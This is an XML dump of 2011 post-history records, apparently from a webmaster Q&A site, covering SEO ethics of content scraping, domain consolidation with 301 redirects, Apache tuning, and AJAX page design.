  <row Id="21195" PostHistoryTypeId="2" PostId="9587" RevisionGUID="af485843-d9a6-4978-8fbe-9300d722a7be" CreationDate="2011-02-23T07:01:32.383" UserDisplayName="Sander Marechal" Text="&gt; Is this a moral way of increasing page ranking?&#xD;&#xA;&#xD;&#xA;No, as per Sparky's answer. Besides that, it doesn't really help. Google has a lot of code in place to detect link farms and they will penalize such sites.&#xD;&#xA;&#xD;&#xA;To boot, pagerank is overrated. Trustworthiness of the incoming links matters more. That is, you can have incoming links from pages with a high page rank but low trustworthiness and still not show high in the search ranking. In reverse you can have incoming links from low pagerank sites with high trustworthiness and score much better. It seems that pagerank is a second class citizen these days and google is relying more and more on other metrics to rate sites. Almost as if pagerank scoring is kept around to keep the SEO folk running in circles." />
  <row Id="21196" PostHistoryTypeId="2" PostId="9585" RevisionGUID="0021be41-44ed-4418-a85c-07fe5b705a60" CreationDate="2011-02-23T06:41:29.527" UserDisplayName="CheatSEO" Text="I have worked with a website in the past `freedomist.com`&#xD;&#xA;&#xD;&#xA;This site gathers wordpress articles from multiple news source sites, and then republishes them. The company that runs this site has about 50 other sites that do the same thing. They post links to sites such as twitter and secondary wordpress sites.&#xD;&#xA;&#xD;&#xA;Is this a moral way of increasing page ranking?&#xD;&#xA;&#xD;&#xA;Is this against the terms of service with lets say Google?" />
  <row Id="21197" PostHistoryTypeId="1" PostId="9585" RevisionGUID="0021be41-44ed-4418-a85c-07fe5b705a60" CreationDate="2011-02-23T06:41:29.527" UserDisplayName="CheatSEO" Text="SEO Expert Question" />
  <row Id="21198" PostHistoryTypeId="3" PostId="9585" RevisionGUID="0021be41-44ed-4418-a85c-07fe5b705a60" CreationDate="2011-02-23T06:41:29.527" UserDisplayName="CheatSEO" Text="&lt;seo&gt;" />
  <row Id="21199" PostHistoryTypeId="17" PostId="9585" RevisionGUID="26e44c21-389e-48c5-89f8-026111afe113" CreationDate="2011-02-23T12:18:16.183" UserId="-1" Comment="from http://stackoverflow.com/questions/5087802/seo-expert-question" Text="" />
  <row Id="21200" PostHistoryTypeId="2" PostId="9588" RevisionGUID="ab145a44-4bdd-40c3-9174-035798a171ca" CreationDate="2011-02-23T12:23:44.320" UserId="3718" Text="Drupal would be the best choice if your after a pre-built CMS. ExpressionEngine isn't powerful enough to do what you want.&#xD;&#xA;&#xD;&#xA;As far as frameworks go, I would go for Symfony. There is a learning curve but it's very very powerful." />
  <row Id="21201" PostHistoryTypeId="2" PostId="9589" RevisionGUID="3880e229-63cb-46d9-9953-85111dce41b2" CreationDate="2011-02-23T12:55:16.793" UserId="1757" Text="The best way to learn is to actually use it. If you enjoy drawing and graphic design, then it'll be no problem for you to pick up a new program and become proficient in it after 2-3 months. If you don't enjoy graphic design, and you're not designing stuff for fun in your free time, then it'll be impossible to get good at graphic design, even if you take a paid course.&#xD;&#xA;&#xD;&#xA;Of the Adobe CS suite programs, Fireworks is the one that is specifically for web design, but Photoshop can work as well. Illustrator is a vector program that is more suited for creating logos and vector illustrations. InDesign is a layout program that is more suitable for typography-intensive projects like print design." />
  <row Id="21202" PostHistoryTypeId="2" PostId="9590" RevisionGUID="9ccfafd7-69ad-4052-ae4c-9ca1e97291bd" CreationDate="2011-02-23T12:55:25.410" UserId="4803" Text="Photoshop is primarily used for designing the graphical template.&#xD;&#xA;&#xD;&#xA;The technique commonly used is to design in Photoshop exactly what you want the front page to look like. Then, you can make slices or just copy / paste parts (E.g. the header or banner) and use them in the background of the respective element.&#xD;&#xA;&#xD;&#xA;If you want to learn some cool techniques to use, look at free website templates. If you see some feature that you like, look at the source code and figure out how to do it, then incorporate it into your design. Over time you can accumulate several little tricks that will make your work truly unique." />
  <row Id="21203" PostHistoryTypeId="5" PostId="9488" RevisionGUID="2b6885e6-ab01-4a8d-a25f-b16d290f2c74" CreationDate="2011-02-23T13:06:25.797" UserId="5609" Comment="added existing rewrite-block" Text="I have upgraded my gallery2 to gallery3, and notice that some links no longer resolve correctly. Since the proper way is to redirect these with a 301, that is the way I'm going. The following series need redirecting:&#xD;&#xA;&#xD;&#xA;folders:&lt;br&gt;&#xD;&#xA;old: photo.meulie.net/v/various/Gry/&lt;br&gt;&#xD;&#xA;new: http://photo.meulie.net/various/Gry/&#xD;&#xA;&#xD;&#xA;pages:&lt;br&gt;&#xD;&#xA;old: photo.meulie.net/v/Jacob/02112008310.jpg.html&lt;br&gt;&#xD;&#xA;new: http://photo.meulie.net/Jacob/02112008310&#xD;&#xA;&#xD;&#xA;(both are of course just examples. there are 100's of folders &amp; files to redirect...)&#xD;&#xA;&#xD;&#xA;I think there were/are also direct links to images, but those I'm not bothering with for now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Who can help me out?  :-)&#xD;&#xA; &#xD;&#xA;Regards,&#xD;&#xA;  Evert&#xD;&#xA;&#xD;&#xA;NB. these are the existing rewrite rules:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;Options +FollowSymLinks&lt;br&gt;&#xD;&#xA;  RewriteEngine On&lt;br&gt;&#xD;&#xA;  RewriteBase /&lt;br&gt;&#xD;&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&lt;br&gt;&#xD;&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&lt;br&gt;&#xD;&#xA;  RewriteRule ^(.*)$ index.php?kohana_uri=$1 [QSA,PT,L]&lt;br&gt;&#xD;&#xA;  RewriteRule ^$ index.php?kohana_uri=$1 [QSA,PT,L]&lt;br&gt;&#xD;&#xA;  RewriteRule ^index.php/(.*) $1 [QSA,R,L]&lt;br&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;Where should I insert your lines?&#xD;&#xA;&#xD;&#xA;Greetings,&#xD;&#xA;  Evert" />
  <row Id="21204" PostHistoryTypeId="5" PostId="9589" RevisionGUID="e8e3b55f-937f-4b58-bfa0-f94228b60785" CreationDate="2011-02-23T13:08:12.313" UserId="1757" Comment="added 420 characters in body" Text="The best way to learn is to actually use it. If you enjoy drawing and graphic design, then it'll be no problem for you to pick up a new program and become proficient in it after 2-3 months. If you don't enjoy graphic design, and you're not designing stuff for fun in your free time, then it'll be impossible to get good at graphic design, even if you take a paid course.&#xD;&#xA;&#xD;&#xA;Of the Adobe CS suite programs, Fireworks is the one that is specifically for web design, but Photoshop can work as well. Illustrator is a vector program that is more suited for creating logos and vector illustrations. InDesign is a layout program that is more suitable for typography-intensive projects like print design.&#xD;&#xA;&#xD;&#xA;**Edit:** However, many people do use Illustrator and InDesign (in place of apps like OmniGraffle, Axure or Balsamiq) for wireframing as you can easily lay out premade UI widgets to design your UIs. There are many such wireframe kits [available][1] for download for both of these programs.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2010/02/05/50-free-ui-and-web-design-wireframing-kits-resources-and-source-files/" />
  <row Id="21208" PostHistoryTypeId="2" PostId="9592" RevisionGUID="345357a0-c3c7-46cf-8c94-6e790e2f8310" CreationDate="2011-02-23T13:44:19.133" UserId="5610" Text="I have a client that has three separately hosted copies of their website, each on a separate domain name.  The websites are all essentially the same, bar a few discrepancies caused by badly managed updates in the past.&#xD;&#xA;&#xD;&#xA;I will soon be launching a completely new website for them, at which point, all three domain names are to resolve to the same web server.  One domain name will become the default domain name that they refer to in all their literature, and the other two will simply be used as catch-alls for old links, bookmarks, and so on.&#xD;&#xA;&#xD;&#xA;I would like to know what people consider the best route to achieve this.  My plan so far is:&#xD;&#xA;&#xD;&#xA;1. Get the new site up and running on the new webserver.&#xD;&#xA;&#xD;&#xA;2. Change the relevant A record of the default domain name to point to the new webserver.&#xD;&#xA;&#xD;&#xA;3. a) Keep the existing hosting accounts in operation, and create a list of 301 redirects for each page, pointing to the most relevant page on the new site.&#xD;&#xA;&#xD;&#xA; or&#xD;&#xA;&#xD;&#xA; b) Configure CNAME records for the non-default domain names, each pointing to the new webserver.&#xD;&#xA;&#xD;&#xA;If my understanding is correct, option 3a will help to maintain whatever search engine rankings the sites already have.  But what about option 3b - will that effectively lose any rankings that the sites have?&#xD;&#xA;&#xD;&#xA;What's a good approach to take here?" />
  <row Id="21209" PostHistoryTypeId="1" PostId="9592" RevisionGUID="345357a0-c3c7-46cf-8c94-6e790e2f8310" CreationDate="2011-02-23T13:44:19.133" UserId="5610" Text="Consolidating multiple domain names" />
  <row Id="21210" PostHistoryTypeId="3" PostId="9592" RevisionGUID="345357a0-c3c7-46cf-8c94-6e790e2f8310" CreationDate="2011-02-23T13:44:19.133" UserId="5610" Text="&lt;seo&gt;&lt;redirects&gt;&lt;domain-names&gt;&lt;page-ranking&gt;" />
  <row Id="21211" PostHistoryTypeId="5" PostId="9592" RevisionGUID="7d9de9e0-a1ff-430c-9f91-a8cdf86349dc" CreationDate="2011-02-23T13:54:34.590" UserId="5610" Comment="added 107 characters in body; deleted 6 characters in body" Text="I have a client that has three separately hosted copies of their website, each on a separate domain name.  The websites are all essentially the same, bar a few discrepancies caused by badly managed updates in the past.&#xD;&#xA;&#xD;&#xA;I will soon be launching a completely new website for them, at which point, all three domain names are to resolve to the same web server.  One domain name will become the default domain name that they refer to in all their literature, and the other two will simply be used as catch-alls for old links, bookmarks, and so on.&#xD;&#xA;&#xD;&#xA;I would like to know what people consider the best route to achieve this.  My plan so far is:&#xD;&#xA;&#xD;&#xA;1. Get the new site up and running on the new webserver.&#xD;&#xA;&#xD;&#xA;2. Change the relevant A record of the default domain name to point to the new webserver.&#xD;&#xA;&#xD;&#xA;3. a) Keep the existing hosting accounts in operation. Create a list of 301 redirects from old page names on the old site to new page names on the new site.&#xD;&#xA;&#xD;&#xA; or&#xD;&#xA;&#xD;&#xA; b) Configure CNAME records for the non-default domain names, each pointing to the new webserver.  Create a list of 301 redirects on the new site that redirect from old page names to new page names.&#xD;&#xA;&#xD;&#xA;If my understanding is correct, option 3a will help to maintain whatever search engine rankings the sites already have.  But what about option 3b - will that effectively lose any rankings that the sites have?&#xD;&#xA;&#xD;&#xA;What's a good approach to take here?" />
  <row Id="21212" PostHistoryTypeId="5" PostId="9592" RevisionGUID="1fcb1ed0-8a09-4b6b-895d-1a48f6a9c48d" CreationDate="2011-02-23T14:01:16.520" UserId="5610" Comment="added 42 characters in body" Text="I have a client that has three separately hosted copies of their website, each on a separate domain name.  The websites are all essentially the same, bar a few discrepancies caused by badly managed updates in the past.&#xD;&#xA;&#xD;&#xA;I will soon be launching a completely new website for them, at which point, all three domain names are to resolve to the same web server.  One domain name will become the default domain name that they refer to in all their literature, and the other two will simply be used as catch-alls for old links, bookmarks, and so on.&#xD;&#xA;&#xD;&#xA;I would like to know what people consider the best route to achieve this.  My plan so far is:&#xD;&#xA;&#xD;&#xA;1. Get the new site up and running on the new webserver.&#xD;&#xA;&#xD;&#xA;2. Change the relevant A record of the default domain name to point to the new webserver.&#xD;&#xA;&#xD;&#xA;3. a) Keep the existing hosting accounts in operation. Create a list of 301 redirects from old page names on the old site to new page names on the new site.&#xD;&#xA;&#xD;&#xA; or&#xD;&#xA;&#xD;&#xA; b) Configure CNAME records for the non-default domain names, each pointing to the new webserver.  Create a list of 301 redirects on the new site that redirect from old page names to new page names.&#xD;&#xA;&#xD;&#xA;If my understanding is correct, 3a will *help* to maintain whatever search engine rankings the sites already have (I know it's not going to be perfect), while at the same time informing search engines that the old domain names are no longer in use.  &#xD;&#xA;&#xD;&#xA;What's a good approach to take here?" />
  <row Id="21213" PostHistoryTypeId="2" PostId="9593" RevisionGUID="c6411a79-ead8-4b99-a5e8-5e0921ba11da" CreationDate="2011-02-23T14:15:19.307" UserId="5611" Text="I know that giving short, clear URI that do not change with time is considered good manners, but I need to create a system that is designed not to have them. But to do this I need to go back and find the document in which first it was explained that there should be a single URI per resource. And that it should not change with time. It is probably a document from T.B.L. or from the w3c. Anyone knows which document would that be?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21214" PostHistoryTypeId="1" PostId="9593" RevisionGUID="c6411a79-ead8-4b99-a5e8-5e0921ba11da" CreationDate="2011-02-23T14:15:19.307" UserId="5611" Text="WHICH DOCUMENT REQUIRES A SINGLE URI FOR WEB RESOURCES?" />
  <row Id="21215" PostHistoryTypeId="3" PostId="9593" RevisionGUID="c6411a79-ead8-4b99-a5e8-5e0921ba11da" CreationDate="2011-02-23T14:15:19.307" UserId="5611" Text="&lt;url&gt;&lt;url-format&gt;&lt;clean-urls&gt;" />
  <row Id="21216" PostHistoryTypeId="4" PostId="9593" RevisionGUID="8fc9bfb3-b408-4cb2-a1cb-761357b62485" CreationDate="2011-02-23T14:16:29.760" UserId="1253" Comment="Corrected case. All caps sucks." Text="Which Document Requires A Single Uri For Web Resources?" />
  <row Id="21217" PostHistoryTypeId="2" PostId="9594" RevisionGUID="529828a5-e91c-4a21-9ce8-d378a22e2fe4" CreationDate="2011-02-23T14:17:50.040" UserId="1253" Text="[Cool URIs don't change][1] covers the not changing with time part&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI.html.en" />
  <row Id="21218" PostHistoryTypeId="2" PostId="9595" RevisionGUID="6a19b7ee-a7bb-4fe8-8db5-4c20ea185fe9" CreationDate="2011-02-23T14:20:25.390" UserId="1253" Text="Assuming the URLs structures are identical across all of the sites, point all three domain names to the new website and use this .htaccess to redirect all of the old URLs to the new domain including all internal pages:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?domain1\.com$ [NC]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?domain2\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.maindomain.com/$1 [R=301,L]" />
  <row Id="21222" PostHistoryTypeId="25" PostId="9593" RevisionGUID="846e2233-c17f-4d4c-b9b4-3efd61a038f5" CreationDate="2011-02-23T14:22:50.490" Comment="http://twitter.com/#!/StackWebmasters/status/40416295728062465" />
  <row Id="21223" PostHistoryTypeId="2" PostId="9596" RevisionGUID="cf40b1a9-d781-4c1e-a85b-085946660320" CreationDate="2011-02-23T14:24:58.477" UserId="1253" Text="Duplicate content, especially content already published on another website, is exactly what Google, and you can assume the other search engines, are trying to eliminate from their indices. Doing it specifically to increase your rankings is also a big no-no. Not to mention republishing work already freely available on the Internet does nobody any good.&#xD;&#xA;&#xD;&#xA;I'd say this is a waste of time and at best will only hurt you in the long run as Google takes action against sites like yours. My advice is to stop doing it." />
  <row Id="21224" PostHistoryTypeId="5" PostId="9596" RevisionGUID="81e6936f-41b7-4f8d-aee7-0246227d24f9" CreationDate="2011-02-23T14:30:06.977" UserId="1253" Comment="added 314 characters in body; added 125 characters in body" Text="Duplicate content, especially content already published on another website, is exactly what Google, and you can assume the other search engines, are trying to eliminate from their indices. Doing it specifically to increase your rankings is also a big no-no. Not to mention republishing work already freely available on the Internet does nobody any good.&#xD;&#xA;&#xD;&#xA;I'd say this is a waste of time and at best will only hurt you in the long run as Google takes action against sites like yours. My advice is to stop doing it.&#xD;&#xA;&#xD;&#xA;See: [webmaster guidelines][1], [duplicate content][2], [New Algorithm Launched][3], [Google and search engine spam][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=66359&#xD;&#xA;  [3]: http://www.mattcutts.com/blog/algorithm-change-launched/&#xD;&#xA;  [4]: http://googleblog.blogspot.com/2011/01/google-search-and-search-engine-spam.html" />
  <row Id="21225" PostHistoryTypeId="17" PostId="9598" RevisionGUID="052ad5d4-ef7f-47d2-90cc-862bd8e8756e" CreationDate="2011-02-23T14:35:46.863" UserId="-1" Comment="from http://stackoverflow.com/questions/5092059/apache-httpd-problem/5092194#5092194" Text="" />
  <row Id="21226" PostHistoryTypeId="2" PostId="9598" RevisionGUID="b11a25f7-1230-4550-aa93-b5f4b185cfa4" CreationDate="2011-02-23T14:28:40.927" UserDisplayName="Olli" Text="Depending on your Apache2 worker module, you can try finding something like&#xD;&#xA;&#xD;&#xA;    StartServers           2&#xD;&#xA;    MaxClients            50&#xD;&#xA;    MinSpareThreads       25&#xD;&#xA;    MaxSpareThreads       25&#xD;&#xA;    ThreadsPerChild       25&#xD;&#xA;    MaxRequestsPerChild  500&#xD;&#xA;&#xD;&#xA;from your apache configuration file (may be for example `/etc/apache2/apache2.conf` or `httpd.conf`).&#xD;&#xA;&#xD;&#xA;If you raise MaxClients, then you can serve larger amount of clients.&#xD;&#xA;&#xD;&#xA;You should monitor your server load before making too dramatic changes. Good tools for this are for example `top`, `iotop` (for IO load) and [munin][1] for drawing nice system load graphs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://munin-monitoring.org/" />
  <row Id="21227" PostHistoryTypeId="2" PostId="9597" RevisionGUID="a4abcebc-58b5-4970-9786-59eafb38f9b3" CreationDate="2011-02-23T14:15:39.827" UserDisplayName="Christopher" Text="I am getting intermittent issues with my site. Pages often hang with huge loading times and sometimes fail to load. &#xD;&#xA;&#xD;&#xA;The httpd error logs contain the following:&#xD;&#xA;&#xD;&#xA;    [Wed Feb 23 06:54:17 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 5871 for worker proxy:reverse&#xD;&#xA;    [Wed Feb 23 06:54:17 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 5871 for (*)&#xD;&#xA;    [Wed Feb 23 06:54:24 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 5872 for worker proxy:reverse&#xD;&#xA;    [Wed Feb 23 06:54:24 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized&#xD;&#xA;    [Wed Feb 23 06:54:24 2011] [debug] proxy_util.c(1967): proxy: initialized single connection worker 0 in child 5872 for (*)&#xD;&#xA;    [Wed Feb 23 06:59:15 2011] [debug] proxy_util.c(1854): proxy: grabbed scoreboard slot 0 in child 5954 for worker proxy:reverse&#xD;&#xA;    [Wed Feb 23 06:59:15 2011] [debug] proxy_util.c(1873): proxy: worker proxy:reverse already initialized&#xD;&#xA;    &#xD;&#xA;The server is currently running with 800mb free memory, so it is not caused by lack of RAM.&#xD;&#xA;&#xD;&#xA;Any suggestions would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Many thanks,&#xD;&#xA;&#xD;&#xA;Chris.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;The current number of httpd procceses is 11. This does increase as the error persists and can rise up to 25+.&#xD;&#xA;&#xD;&#xA;I am running Apache/2.2.3 (CentOS)." />
  <row Id="21228" PostHistoryTypeId="1" PostId="9597" RevisionGUID="a4abcebc-58b5-4970-9786-59eafb38f9b3" CreationDate="2011-02-23T14:15:39.827" UserDisplayName="Christopher" Text="Apache httpd Problem" />
  <row Id="21229" PostHistoryTypeId="3" PostId="9597" RevisionGUID="a4abcebc-58b5-4970-9786-59eafb38f9b3" CreationDate="2011-02-23T14:15:39.827" UserDisplayName="Christopher" Text="&lt;apache&gt;&lt;server&gt;&lt;proxy&gt;&lt;httpd&gt;" />
  <row Id="21230" PostHistoryTypeId="17" PostId="9597" RevisionGUID="d144826a-829d-487a-a176-5f8af8ae5c3e" CreationDate="2011-02-23T14:35:46.863" UserId="-1" Comment="from http://stackoverflow.com/questions/5092059/apache-httpd-problem" Text="" />
  <row Id="21231" PostHistoryTypeId="2" PostId="9599" RevisionGUID="cee9d7bb-4b65-4d90-9f20-123d406d8b71" CreationDate="2011-02-23T14:36:42.200" UserId="1253" Text="Based on the code sample you used there could be a few reasons for this:&#xD;&#xA;&#xD;&#xA;1) The hyperlink essentially points to the page it is on and only as a technicality because you only have hash bang as the URL and not an otherwise valid URI. That really has no meaning and probably carries no value as a hyperlink.&#xD;&#xA;&#xD;&#xA;2) If the page in question is not indexed then it will never appear in the SERPs&#xD;&#xA;&#xD;&#xA;3) The title *attribute* is so abused for SEO purposes that it is easy to see it being devalued to the point of being worthless just like meta tags.&#xD;&#xA;&#xD;&#xA;Use the title and alt *attributes* for what they are designed for: usability and accessibility. Don't be writing code just for the search engines. They don't want that and it never ends well." />
  <row Id="21232" PostHistoryTypeId="2" PostId="9600" RevisionGUID="05ba23df-9a53-4c6e-ad54-f04a33885d3d" CreationDate="2011-02-23T14:40:30.853" UserId="1253" Text="Hard to say for sure but the semantic meaning of the anchor is to point to a specific point on a page so the browser can scroll to it automatically. If it is going to have SEO value it would most likely be limited to the small portion of the page that is associated with the anchor. That value would be very small thanks to the limited target area of the anchor as well as the huge potential for abuse. I wouldn't worry about the SEO aspects of it and use names that make sense so when that URL is loaded in a browser it makes sense to the user and also makes the life easier for whomever has to maintain that code in the future." />
  <row Id="21233" PostHistoryTypeId="5" PostId="9570" RevisionGUID="a5cf88f1-72e6-4d41-9f84-bf33b6bd96ca" CreationDate="2011-02-23T14:42:27.593" UserId="1253" Comment="spelling correction, removed &quot;url-rewriting addon&quot; tags, added &quot;domain-forwarding&quot; tag" Text="I recently purchased a domain [thinkzarahatke.com][1]. At the time of purchasing i selected an option, say url redirect, to my existing site. Further I had entered Naming server detail. But I dint find any other option to change URL rewrite parameters under Domain Name Manager.&#xD;&#xA;&#xD;&#xA;From the cPanel of my hosting space, I had added new domain as addon and set a subdirectory for it.&#xD;&#xA;&#xD;&#xA;Now If I am trying to access my new domain directly, it is automatically redirecting to my old website. While if i access some inside directory, like thinkzarahatke.com/blog, then i am able to access to my new site.&#xD;&#xA;&#xD;&#xA;What wrong i done? Please tell me if i need to do some more settings with addon domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thinkzarahatke.com" />
  <row Id="21234" PostHistoryTypeId="6" PostId="9570" RevisionGUID="a5cf88f1-72e6-4d41-9f84-bf33b6bd96ca" CreationDate="2011-02-23T14:42:27.593" UserId="1253" Comment="spelling correction, removed &quot;url-rewriting addon&quot; tags, added &quot;domain-forwarding&quot; tag" Text="&lt;domains&gt;&lt;domain-forwarding&gt;" />
  <row Id="21235" PostHistoryTypeId="2" PostId="9601" RevisionGUID="a287a02f-69b4-4600-a5e7-e2f5ed9d8ae5" CreationDate="2011-02-23T14:50:53.300" UserId="1253" Text="**Impression**: how many times your site was viewed by a user in the search results&#xD;&#xA;&#xD;&#xA;**Change**: the change, either positive or negative, in the value since the last rolling 30 day period. Positive is better.&#xD;&#xA;&#xD;&#xA;**Clicks**: How many people clicked on your website in the search results for that term&#xD;&#xA;&#xD;&#xA;**CTR**: stands for click through rate. It means what percentage of people who saw your listing actually clicked on your link. Higher is better.&#xD;&#xA;&#xD;&#xA;**Avg Position**: the average ranking for your pages for that search term. &#xD;&#xA;&#xD;&#xA;Read: [Understanding the data][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=96568&amp;hl=en" />
  <row Id="21236" PostHistoryTypeId="5" PostId="9599" RevisionGUID="5aac583e-ffc3-48b8-8a49-fa564cbde149" CreationDate="2011-02-23T15:00:27.320" UserId="1253" Comment="deleted 3 characters in body" Text="Based on the code sample you used there could be a few reasons for this:&#xD;&#xA;&#xD;&#xA;1) The hyperlink essentially points to the page it is on and only as a technicality because you only have a hash as the URL and not an otherwise valid URI. That really has no meaning and probably carries no value as a hyperlink.&#xD;&#xA;&#xD;&#xA;2) If the page in question is not indexed then it will never appear in the SERPs&#xD;&#xA;&#xD;&#xA;3) The title *attribute* is so abused for SEO purposes that it is easy to see it being devalued to the point of being worthless just like meta tags.&#xD;&#xA;&#xD;&#xA;Use the title and alt *attributes* for what they are designed for: usability and accessibility. Don't be writing code just for the search engines. They don't want that and it never ends well." />
  <row Id="21237" PostHistoryTypeId="2" PostId="9602" RevisionGUID="94323a6a-3288-4965-ae95-59f62d32c9c4" CreationDate="2011-02-23T15:01:27.747" UserId="1725" Text="*Assumptions: We don't care about IE6, and Noscript users.*&#xD;&#xA;&#xD;&#xA;**Lets pretend we have the following design concept:** All your pages are HTML/CSS that create the ascetics, layout, colours, general design related things. Lets pretend this basic code below is that:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;        &lt;head&gt;&#xD;&#xA;		    &lt;link href=&quot;/example.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;/&gt;&#xD;&#xA;			&lt;script src=&quot;example.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;&#xD;&#xA;	    &lt;head&gt;&#xD;&#xA;		&lt;body&gt;&#xD;&#xA;		    &lt;div class=&quot;left&quot;&gt;&#xD;&#xA;			    &#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;			&lt;div class=&quot;mid&quot;&gt;&#xD;&#xA;			    &#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;			&lt;div class=&quot;right&quot;&gt;&#xD;&#xA;			&#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;		&lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Which in theory should produce, with the right CSS, three vertical columns on the web page.&#xD;&#xA;&#xD;&#xA;Now, here's the root of the question, what are the serious advantages and/or disadvantages of loading the content of these columns (lets assume they are all indeed dynamic content, not static) via AJAX requests, or have the content pre-set with a scripting language?&#xD;&#xA;&#xD;&#xA;So for instance, we would have, in the AJAX example, lets asume jquery is used on-load:&#xD;&#xA;&#xD;&#xA;	//Multiple http requests&#xD;&#xA;	$(&quot;body &gt; div.left&quot;).load(&quot;./script.php?content=news&quot;);&#xD;&#xA;	$(&quot;body &gt; div.right&quot;).load(&quot;./script.php?content=blogs&quot;);&#xD;&#xA;	$(&quot;body &gt; div.mid&quot;).load(&quot;./script.php?content=links&quot;);&#xD;&#xA;&#xD;&#xA;OR---&#xD;&#xA;&#xD;&#xA;	//Single http request&#xD;&#xA;	$.ajax({&#xD;&#xA;		url: './script.php?content=news|blogs|links',&#xD;&#xA;		method: 'json',&#xD;&#xA;		type: 'text',&#xD;&#xA;		success: function (data) {&#xD;&#xA;			$(&quot;body &gt; div.left&quot;).html(data.news);&#xD;&#xA;			$(&quot;body &gt; div.right&quot;).html(data.blogs);&#xD;&#xA;			$(&quot;body &gt; div.mid&quot;).html(data.links);&#xD;&#xA;		}&#xD;&#xA;	})&#xD;&#xA;&#xD;&#xA;Verses doing this:&#xD;&#xA;&#xD;&#xA;		&lt;body&gt;&#xD;&#xA;		    &lt;div class=&quot;left&quot;&gt;&#xD;&#xA;			    &lt;?php&#xD;&#xA;				    echo function_returning_news();&#xD;&#xA;				?&gt;&#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;			&lt;div class=&quot;mid&quot;&gt;&#xD;&#xA;			    &lt;?php&#xD;&#xA;				    echo function_returning_blogs();&#xD;&#xA;				?&gt;&#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;			&lt;div class=&quot;right&quot;&gt;&#xD;&#xA;			    &lt;?php&#xD;&#xA;				    echo function_returning_links();&#xD;&#xA;				?&gt;&#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;		&lt;/body&gt;&#xD;&#xA;&#xD;&#xA;I'm personally thinking right now that doing static HTML pages is a better method, my reasoning is:&#xD;&#xA;I've separated my data, logic, and presentation (ie, &quot;MVC&quot;) code. I can make changes to one without others. Browser caches mean I'm just getting server load mostly for the content, not the presentation wrapped around it. I could turn my &quot;script.php&quot; into a more robust API for the website.&#xD;&#xA;&#xD;&#xA;But I'm not certain or clear that these are legitimately good reasons, and I'm not confidently aware of other issues that could happen, so I would like to know the pros-and-cons, so to speak." />
  <row Id="21238" PostHistoryTypeId="1" PostId="9602" RevisionGUID="94323a6a-3288-4965-ae95-59f62d32c9c4" CreationDate="2011-02-23T15:01:27.747" UserId="1725" Text="Is there a good [and modern] reason to not have static HTML pages with AJAX content , rather than generate pages?" />
  <row Id="21239" PostHistoryTypeId="3" PostId="9602" RevisionGUID="94323a6a-3288-4965-ae95-59f62d32c9c4" CreationDate="2011-02-23T15:01:27.747" UserId="1725" Text="&lt;web-development&gt;&lt;ajax&gt;" />
  <row Id="21240" PostHistoryTypeId="2" PostId="9603" RevisionGUID="57b17977-0e28-4e1b-8870-85563593ae49" CreationDate="2011-02-23T15:11:22.527" UserId="1253" Text="Make it so anyone can reach your content. This means anyone without JavaScript turned on (search engines bots, noscript users, screenreaders, etc). It's called [Progressive Enhancement][1] and should be a basic web development principle for every developer.  Doing so rarely requires a lot of work as reusing the server side code to handle the Ajax requests usually takes only a few minor modifications. **Just because things are &quot;modern&quot; doesn't mean everyone can use a website just like you can.**&#xD;&#xA;&#xD;&#xA;To summarize: Use Ajax for all of the benefits it offers but always make sure the same content can be reached without it.*&#xD;&#xA;&#xD;&#xA;* *This does not apply to intranets and other controlled environments*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="21241" PostHistoryTypeId="25" PostId="9602" RevisionGUID="ea3e8dc0-58c4-44c6-b476-5ca3cf0e32a8" CreationDate="2011-02-23T17:22:50.857" Comment="http://twitter.com/#!/StackWebmasters/status/40461595733790722" />
  <row Id="21242" PostHistoryTypeId="17" PostId="9605" RevisionGUID="7cd56e47-6367-4b82-bbd2-d0b4fc2556c7" CreationDate="2011-02-23T18:03:18.180" UserId="-1" Comment="from http://stackoverflow.com/questions/5094767/co-domain-name-uk-focused-seo-any-good/5094822#5094822" Text="" />
